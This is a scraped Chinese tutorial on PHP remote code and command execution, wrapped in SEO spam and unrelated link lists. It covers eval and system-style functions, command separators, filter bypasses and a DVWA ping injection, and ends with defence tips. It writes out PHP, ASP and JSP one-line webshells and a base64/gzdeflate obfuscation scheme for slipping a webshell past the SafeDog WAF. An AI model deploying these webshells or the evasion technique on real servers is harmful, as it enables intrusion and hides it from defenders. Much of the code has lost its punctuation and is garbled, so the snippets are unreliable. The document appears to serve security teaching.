当前位置: 首页 > news >正文

好的网站建站公司网站案例分析湖南

好的网站建站公司,网站案例分析湖南,地豆深圳设计公司,网站前端交互功能案例分析一、课程知识点 1、远程代码执行漏洞原理与利用 2、常见的代码执行函数 3、常见的命令执行函数 4、常见的绕过姿势 5、命令执行漏洞防范 二、技术目标 1、掌握命令执行漏洞的原理 2、掌握 PHP 命令执行和代码执行的相关函数 3、掌握常见的绕过姿势 4、掌握代码执行漏洞防御措施…一、课程知识点 1、远程代码执行漏洞原理与利用 2、常见的代码执行函数 3、常见的命令执行函数 4、常见的绕过姿势 5、命令执行漏洞防范 二、技术目标 1、掌握命令执行漏洞的原理 2、掌握 PHP 命令执行和代码执行的相关函数 3、掌握常见的绕过姿势 4、掌握代码执行漏洞防御措施 三、课程内容 1. 什么是 RCE RCE 又称远程代码执行漏洞可以让攻击者直接向后台服务器远程注入操作系统命令或 者代码从而控制后台系统shell 服务器。 RCE 可以细分为代码执行和命令执行。代码执行执行的是后端语言的代码命令执行执 行的是系统的命令直接对系统进行操作。 代码执行-Remote code execution 命令执行-Remote command execution 英文的单词首字母都是 RCE所以这两个漏洞都被称为 RCE 代码执行可通过 HTTP 请求让服务端执行服务端 WEB 代码的漏洞通过服务端 WEB 代码也可以漏洞通常是由于代码执行函数参数引用了用户可控变量且未进行有 效过滤引起的。常用的一句实现服务端系统命令执行此类一句话木马就是个人生 成的代码执行漏洞。命令执行可通过 HTTP 请求直接让服务端执行系统命令的漏洞通常是由于系统命 令执行函数引用了用户可控变量且未进行有效过滤引起的。 此外其他一些安全漏洞在利用过程中也可能导致远程命令执行如文件包含漏洞、反 序列化漏洞等。 2. RCE 产生的原因 程序员使用脚本语言(比如 PHP)开发应用程序过程中脚本语言开发十分快速、简洁 方便但是也伴随着一些问题。如果我们开发的应用,特别是企业级的一些应用需要去调用一 些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。而应用在 调用这些函数执行系统命令的时候如果将用户的输入作为系统命令的参数拼接到命令行中 在没有过滤用户的输入的情况下就会造成命令执行漏洞。 总之是对用户输入内容的过滤不完善最终导致用户输入的恶意内容被执行。 3. 危险函数或触发方式 3.1 php 代码执行函数 eval() eval( ) 函数把中的字符串按照 PHP 代码来执行。该字符串必须是合法的 PHP 代码且必须以 分号结尾。如果没有在代码字符串中调用 return 语句则返回 NULL。如果代码中存在解析错误则 eval() 函数返回 false。 一句话木马原型。虽然可以以函数的方式调用 eval()但是 eval() 不是 PHP 的函数是一种语 法结构不能动态调用。在 eval() 执行的字符串要以分号结束。 a$filefopen(x.php,w) or die(false); fwrite($file, ?php eval(\$  POST[cmd]);?); fclose($file); 代码示例: ?php $code  $  REQUEST[a];  eval($code); assert() assert() 会将字符串当做 PHP 代码来执行。assert() 可以动态调用。高版本 PHP 中assert() 被弃用。 代码示例: $code  $  REQUEST[a];assert($code); create  function() create  function()创建匿名函数接受两个字符串参数参数列表和函数体。返回一个匿名函数的引 用。 ?php $a  phpinfo();;$b  create  function(,$a);$b();? call  user  func() 调用回调函数。原型 mixed call  user  func ( callable callback[,mixedparameter [, mixed $… ]] )。 第 一个参数 callback 是被调用的回调函数其余参数是回调函数的参数。 ?php $func  assert;$arg  phpinfo();;call  user  func($func, $arg); call  user  func  array() 回调函数参数为数组可以传递多个参数给回调函数。返回回调函数的返回值。适用于动态函数调 用。 用法同上 ?php $cmd$  POST[cmd]; $array[0]$cmd; call  user  func  array(assert,$array); ? uasort() /sort() uasort () 函数使用户自定义的比较函数对数组排序并保持索引关联不为元素分配新的键。 如果 成功则返回 TRUE否则返回 FALSE。 ?php $e assert;$arr  array($  REQUEST[pass],phpinfo(););uasort($arr,$e)? preg  replace() preg replace() 函数执行一个正则表达式的搜索和替换。 preg  replace(‘正则规则’,‘替换字符’‘目标字符’) 执行命令和上传文件参考 assert 函数(不需要加分号)。 将目标字符中符合正则规则的字符替换为替换字符此时如果正则规则中使用/e 修饰符则存在代码 执行漏洞。 preg  replace(“/test/e”,$  POST[“cmd”],“jutst test”); 函数中第一个参数是正则表达式e 是正则表达式的修饰符。 $code  preg  replace(~i~, I, xiu); $code  preg  replace(~\[(.*)\]~e, \\1, [phpinfo()]); echo $code; array  map() 为数组的每个元素应用回调函数。用于将回调函数应用于数组的每个元素。接受一个回调函数和一个 或多个数组。返回一个新数组数组元素是回调函数应用于原始元素的结果。适用于转换或处理数组 元素。 代码示例 $func  assert;$arg[]  phpinfo();;array  map($func, $arg); array  filter() array  filter — 使用回调函数过滤数组的元素。array  filter依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true则 array 数组的当前值会被包含在结果的数组中。数组的 键名保留不变适用于基于条件移除数组中的元素。 ?php $array[0]  $  GET[a];array  filter($array,assert);? ?php $cmd$  POST[cmd]; $array1array($cmd); $func $  GET[aaa]; array  filter($array1,$func); ? 此外${}也可以执行代码在双引号中倘若有${}出现那么{}内的内容将被当做 php 代码块来执行。 比如 ?php ${phpinfo()}; ? 3.2 php 命令执行函数 system system可以执行系统命令并且将其输出 ?php $code$  GET[a]; system($code); ? 写入一句话木马 echo ^?php eval($ POST[cmd]);?^  x.php http://127.0.0.1/rce/a.php?aecho ^?php eval($ POST[cmd]);?^  x.php 其中 ^ 的作用是转义  passthru() passthru 执行外部程序并且显示原始输出 ?php passthru($  POST[cmd]); ? cmdipconfig 即可显示信息 exec() 这个函数有点特殊他只输出最后一行 并且他的输出需要自己打印。(即用 echo 打印出来 ?php echo exec($  POST[cmd]); //echo ;? shell  exec() shell  exec 通过 shell 执行命令并将完整的输出以字符串的方式返回 ?php echo shell  exec($  POST[cmd]); ? popen()/proc  open() 该函数也可以将字符串当作 OS 命令来执行但是该函数返回的是文件指针而非命令执行结果。该函 数有两个参数。 ?php $cmd$  POST[cmd].1.txt; popen($cmd,r); ? $cmd 将文件查询结果放入 1.txt popen 将该文件赋予可读权限 在 linux 里命令为 popen“/bin/ls”,‘r’; 反引号  []反引号里的东西也会被当成系统命令执行。whoami 可以直接执行 ?php echo whoami ? ${} ${}也可以执行代码在双引号中倘若有${}出现那么{}内的内容将被当做 php 代码块来执行。 ?php ${phpinfo()}; ? 除了 PHP 以外再来看看其他开发语言常用的命令执行函数。 JSP 执行系统命令 ASP 执行系统命令 4 常见管道符 4.1 windows  |  直接执行后面的语句前面的语句是错是对无关紧要 C:\Users\fwzecho 1 | echo 2 2  ||  如果前面的语句执行失败则执行后面的语句前面的语句只能为假才行。 C:\Users\fwzecho 1 || echo 2 1 C:\Users\fwzechoo 1 || echo 2 echoo 不是内部或外部命令也不是可运行的程序 或批处理文件。 2    两条命令都执行前面的语句可真可假 C:\Users\fwzechoo 1  echo 2 echoo 不是内部或外部命令也不是可运行的程序 或批处理文件。 2 C:\Users\fwzecho 1  echo 2 1 2    如果前面的语句为假则直接出错也不执行后面的语句前面的语句为真则两条命令都执行前面的 语句只能为真 C:\Users\fwzecho 1  echo 2 1 2 C:\Users\fwzechoo 1  echo 2 echoo 不是内部或外部命令也不是可运行的程序 或批处理文件。 4.2 Linux  ;  执行完前面的语句再执行后面的语句,如果前面的语句出错则执行后面的命令 ping -c 4 127.0.0.1;ls  |  显示后面语句的执行结果前面的语句无论对错 ping -c 4 127.0.0.1 | ls  ||  当前面的语句执行出错时执行后面的语句 ping -c 4 127.0.0.1.1 || ls    两条命令都执行前面的语句可真可假 ping -c 4 127.0.0..1.1  ls    前面的语句为真才能执行两条命令否则都不执行 5 命令执行漏洞演示 以 DVWA 平台 low 安全等级为例我们来看看这个漏洞的具体成因漏洞页面如下 如上图输入 IP 地址点击 Submit就会执行 ping 命令。查看后端代码 分析上图代码首先通过 php  uname(s)读取操作系统名与Windows NT对比判断 是不是 Windows 系统。如果是 windows 系统则通过 shell  exec()函数执行 ping 命令。如 果不是则判断为 Linux 系统执行 ping -c 4 命令因为 Linux 系统如果不指定发包数 就会一直 ping 下去。可以看到这里并没有对输入的ip参数做任何过滤因此存在命令 执行漏洞。在Windows和Linux中我们可以使用来执行多条命令。输入8.8.8.8  ipconfig  结果如下 Ipconfig 命令被一并执行了并且成功返回结果。这就是一个简单的命令执行漏洞如 果 web 应用为 root 权限我们还可以执行创建用户等各类操作。 在上面的例子中我们使用作为连接符实现同时执行多条命令。下面介绍几种系统常 用的命令连接符。 6 一些通用的绕过姿势 6.1 空格被限制 可以用以下字符串代替  -- 重定向如 catflag.php %09 -- 重定向如 catflag.php -- 需要 php 环境如 cat%09flag.php ${IFS} -- 单纯 cat$IFS2,IFS2 被 bash 解释器当做变量名输不出来结果加一个{}就固定了变量 名如 cat${IFS2}flag.php $IFS$9 -- 后面加个$与{}类似起截断作用$9 是当前系统 shell 进程第九个参数持有者始终 为空字符串如 cat$IFS2$9flag.php #cat flag flag{hell0  W0rld} 6.2 黑名单绕过 拼接 单引号和双引号绕过 反斜杠绕过 编码base64 编码hex 空变量绕过 ┌──(root㉿kali)-[/home/fwz] └─# cat fl$ag flag{hell0  W0rld} 6.3 代码执行中函数被过滤 比如存在 eval()我们想借助这个去转到命令执行来获取 flag 或者是进一步获取系统的操作权限 但是关键的命令执行函数 system()等被过滤 反引号绕过 也称之为内敛执行。在权限足够的情况下php 中的反引号可以直接执行系统命令 7 过狗一句话原理与利用 在之前的文件上传漏洞中就有介绍过木马文件通过上传木马文件实现远程连接从而进 行远程控制操作。利用上传文件漏洞上传木马文件过程中可能会遇到服务端对上传文件后 缀、文件名、文件格式以及文件内容等进行检测过滤从而导致木马文件上传失败。如今存 在很多过滤机制与安全产品能够实现网站上传保护比如安全狗。因此学习如何绕过这些 保护机制成功上传木马文件是至关重要的。在下面的学习中我们称之为过狗一句话该名称 源于绕过安全狗的检测机制成功过上传一句话木马文件。 在学习过狗一句话之前需要先学习一句话木马的原理与利用将一句话木马剖析清楚 后有利于对过狗一句话原理的理解。 7.1 一句话木马 WEBSHELL 又称网页木马文件根据开发语言的不同又分为 ASP 木马、PHP 木马、JSP 木 马等该类木马利用了脚本语言中的系统命令执行、文件读写等函数的功能一旦上传到服 务器被脚本引擎解析攻击者就可以实现对服务器的控制。 一句话木马因其短小精悍不易被过滤又能与中国菜刀等工具配合使用的优势成为了业 界最使用的 WEBshell 类型。根据不同开发语言一句话木马的构造语法不同下面介绍三种 开发语言的一句话木马写法 PHP 一句话木马 ?php eval($  POST[v]);?JSP 一句话木马 %if(request.getParameter(f)!null)(new java.io.FileOutputStream(application.getRealPath(\\)request.getParame ter(f))).write(request.getParameter(t).getBytes());% ASP 一句话木马 % eval request(v)% 成功上传一句话木马文件后通过工具进行远程连接 get webshell比如菜刀和蚁剑 下面分别介绍下各类开发语言的木马语句构造原理 PHP 木马 语法?php eval($  POST[v]);? 原理eval()函数会将参数作为 PHP 代码进行执行因此通过 eval()函数中的参数 v 提 交要执行的代码即可完成漏洞利用。语句中的符号作用是可以屏蔽函数执行过程中遇到问题 而产生的一些错误、警告信息这样用户就看不到程序的出错信息。如此一来,即使$  POST[] 变量没有获取到参数值时也不会报错。这样除了用户界面会友好一些外更重要的是安全性 因为屏蔽了出错文件的路径等信息。 成功上传一句话木马文件后可以直接用菜刀或蚁剑连接也可以访问文件上传路径实现 任意命令执行通过 v 参数传入命令执行函数 system()执行 system()函数中的系统命令 ASP 木马 语法%eval request(cmd)% 原理eval 函数会将参数作为 ASP 代码进行执行因此通过参数 cmd 提交要执行的代码 即可完成漏洞利用。木马文件成功上传后可以直接用菜刀或蚁剑连接也可以访问文件上传 路径实现任意命令执行。注意语句中利用的是 request()函数此函数能够接收 GET 方式和 POST 方式传入的参数因此传入参数时可以直接在 URL 中构造语句传入 cmd 参数如下图    上图中的系统命令 ipconfig 运行结果显示页面如下  JSP 一句话木马 语法 原理JSP 一句话木马可以向网站提交任意 JSP 代码并生成脚本文件。上述代码中的 request.getParameter(f)获取到参数 f 的值作为创建的文件名然后调用 write 往创建的 文件中写入 request.getParameter(t)获取到的参数 t 的值作为文件内容。 在火狐构造 post 表单参数因为是 request 接收所以不论 post 还是 get 服务端都能够 获取到参数值。表单发送后发现服务端真的创建了 1.txt 文件并且文件内容就是 hello。 6.2 过狗一句话 单从 php 一句话木马语法上理解如?php eval($  POST[‘pass’])?首先$  POST 会获取 post 到服务器的参数名 pass 数据然后 eval 会将$  POST 获取的字符串按照 php 语 法进行解析这样我们通过各种 php 函数的组合使用就能通过中国菜刀等工具对服务器的文 件进行操作这也就是常见一句话的工作原理。 通常过狗一句话是过滤或者屏蔽一些敏感字眼或敏感函数以此来阻止木马文件中的恶 意代码被执行比如 eval()函数和 assert()函数等。因此过狗一句话重点就在于如何将 eval 函数绕过安全狗等安全产品的过滤与检测最终在服务端仍然执行恶意代码并实现远程连接。 举例一种最简单的绕过方式就是将 eval 字符作为另一个参数传入如下锁好是 此时在火狐 post 数据提交处输入 cmdevalpass123 便可构成一句话木马。 或者将 assert 字符串通过拼接方式利用: 通过字符拼接符将 assert 隔开绕过过滤检测但是此方法只适用于 assert 函数对于 eval 函数来说不可行eval 字符隔开后再拼接无法生效没办法正常执行语句因此这个方 法局限于 assert 函数的一句话木马绕过。 上面介绍的两种简单绕过方法都有一定的局限性因此我们需要学习更为规范的通用的 过狗一句话。一般来说通用的过狗一句话常要用到三个函数 str  replace(aa,a,$a); //1.被替换内容 2.用作替换内容 3.替换的内容 base64  encode();base64  decode(); //加密 //解密 过狗一句话听起来很复杂但主要思路就是对一句话中的危险的回调函数 assert 等进行 base64 加密然后插入随便字符然后用 str  replace()函数替换绕来绕去还是替换成 assert($  POST[v]);的 base64 加密然后在解密就可以了。 整体的 Byass 思路 根据网站开发语言准备对应的一句话木马对一句话中的敏感字眼/敏感函数进行base64 编码在编码后的语句中插入混淆字符然后再次对其进行 base64 二次编码。对这串字符串 进行压缩处理为了不易别发现解压后进行 base64 解码处理接着清除混淆字符后进行二次 解码最后进行数据拼接完成一句话木马。 6.3 过狗一句话案例 按照上述思路重新编写一句话木马如下图所示案例 接下来我们一句句分析上述过狗一句话代码的编写思路 准备好普通的一句话对其中的危险性函数 assert 进行 base64 编码并加入混淆字符 thinking 和 JoeVatte 对 YXNthinkingzZXJoeVatteJ0 再次 base64 编码对上述代码使用 gzdeflate()对数据进行压缩使用 base64  decode 和 gzinflate 进行嵌套先解压缩再进行 base64 解码再把值 传入变量中(1-5 的步骤主要是做了 混淆处理)到这一步变量的值 已经转回 YXNthinkingzZXJoeVatteJ0定义函数 cl()将 YXNthinkingzZXJoeVatteJ0 中的混淆字符替换为空并进行 base64 解码最终转化为 assert str  replace($step  2,$step  1,$data);的意思是在,$data 数据里面寻找$step  2 数组里的数据并使用$step  1 数组的数据进行替换且替换是数组中位置一一对 应的。处理后得到的是 YXNzZXJ0再使用 base64 解码下就得到 assert并把 assert 返回到调用函数的位置。 经 过 函 数 的 处 理 (cl) 后 cl($data) 返 回 的 值 为 assert  然 后 进 行 拼 接  得 到 $a($  POST[cmd]); 实际上经过 1-7 的操作后最终获得$a($  POST[cmd]);  assert($  POST[cmd]); 8 命令执行漏洞防范 1、 尽量少用执行命令的函数或者直接禁用 system()、assert()、shell  exec()、passthru()等命令执行函数。 2、 尽量不要执行外部命令 尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行 system、eval 等 命令执行功能的函数前要确认参数内容。 3、 使用自定义函数或者函数库来代替外部命令的功能 4、 参数值尽量使用引号包括并在拼接前调用 addslashes 函数进行转义 5、 在使用动态函数之前确保使用的函数是指定的函数之一 6、 在进入执行命令的函数方法之前对参数进行过滤对敏感字符进行转义 7、 使用 safe  mode  exec  dir 执行可执行的文件路径 将 php.ini 文件中的 safe  mode 设置为 On然后将允许执行的文件放入一个目录并使 用 safe  mode  exec  dir 指定这个可执行的文件路径。这样在需要执行相应的外部程序 时程序必须在 safe  mode  exec  dir 指定的目录中才会允许执行否则执行将失败。 8、 对于可控点是程序参数的情况下使用 escapeshellcmd 函数进行过滤对于可控点是程 序参数值的情况下使用 escapeshellarg 函数进行过滤。escapeshellarg 函数会将用户 引起参数或命令结束的字符进行转义如单引号“’”会被转义为“’”双引号“” 会被转义为“”分号“;”会被转义为“;”这样 escapeshellarg 会将参数内容限 制在一对单引号或双引号里面转义参数中包括的单引号或双引号使其无法对当前执 行进行截断实现防范命令注入攻击的目的。
http://www.dnsts.com.cn/news/236168.html

相关文章:

  • 做影视网站赚钱百度关键词挖掘
  • 功能性质网站有哪些网站wordpress游客评论游客
  • 苏州建网站公司自贡网站建设哪家好
  • 怎么用电脑windows做网站机关网站建设
  • 学习资料黄页网站免费专业做淘宝开店的网站
  • 网网站制作开发广州网站开发哪家强
  • 松江网站开发公司襄阳官网建站公司
  • 公司有域名 如何做网站如何免费域名注册
  • 美团先做网站还是app江苏网站推广公司
  • 如何制作简单的网站佛山市
  • 网站建设好的图片企业网站首页设计原则
  • 1高端网站建设网站制作过程内容
  • 做网站用哪个软件最好php外贸推广平台
  • 响应式网站优点泉州市住房与城乡建设局网站
  • 网站建设全流程手机网站jquery底部导航菜单
  • 乐清品牌网站建设专做女鞋的网站
  • 服装电子商务网站有哪些网站外包合作
  • 临沂个人做网站如何建设高等数学课程网站
  • 视频网站用什么cms智慧团建电脑版登录官网
  • 深圳做网站那家好青岛有哪些做网站的公司
  • 网站怎么添加手机版大沥网站建设
  • 数学网站怎么做的营销型网站盈利模式
  • 编写网站方案设计书表格wordpress完美优化
  • 找个人给我做电影网站好房产网站开发文档
  • SEO如何建设网站深圳投资公司排名前十
  • 个别网站网速慢怎么做没有公司做网站
  • 温州网站制作优化广州网站建设小程序开发
  • 三维家是在网站上做还是在app上网站建设技术包括哪些内容
  • 河北做网站哪家公司好茂名企业建站模板
  • 网站链接网址怎么做专业的企业管理软件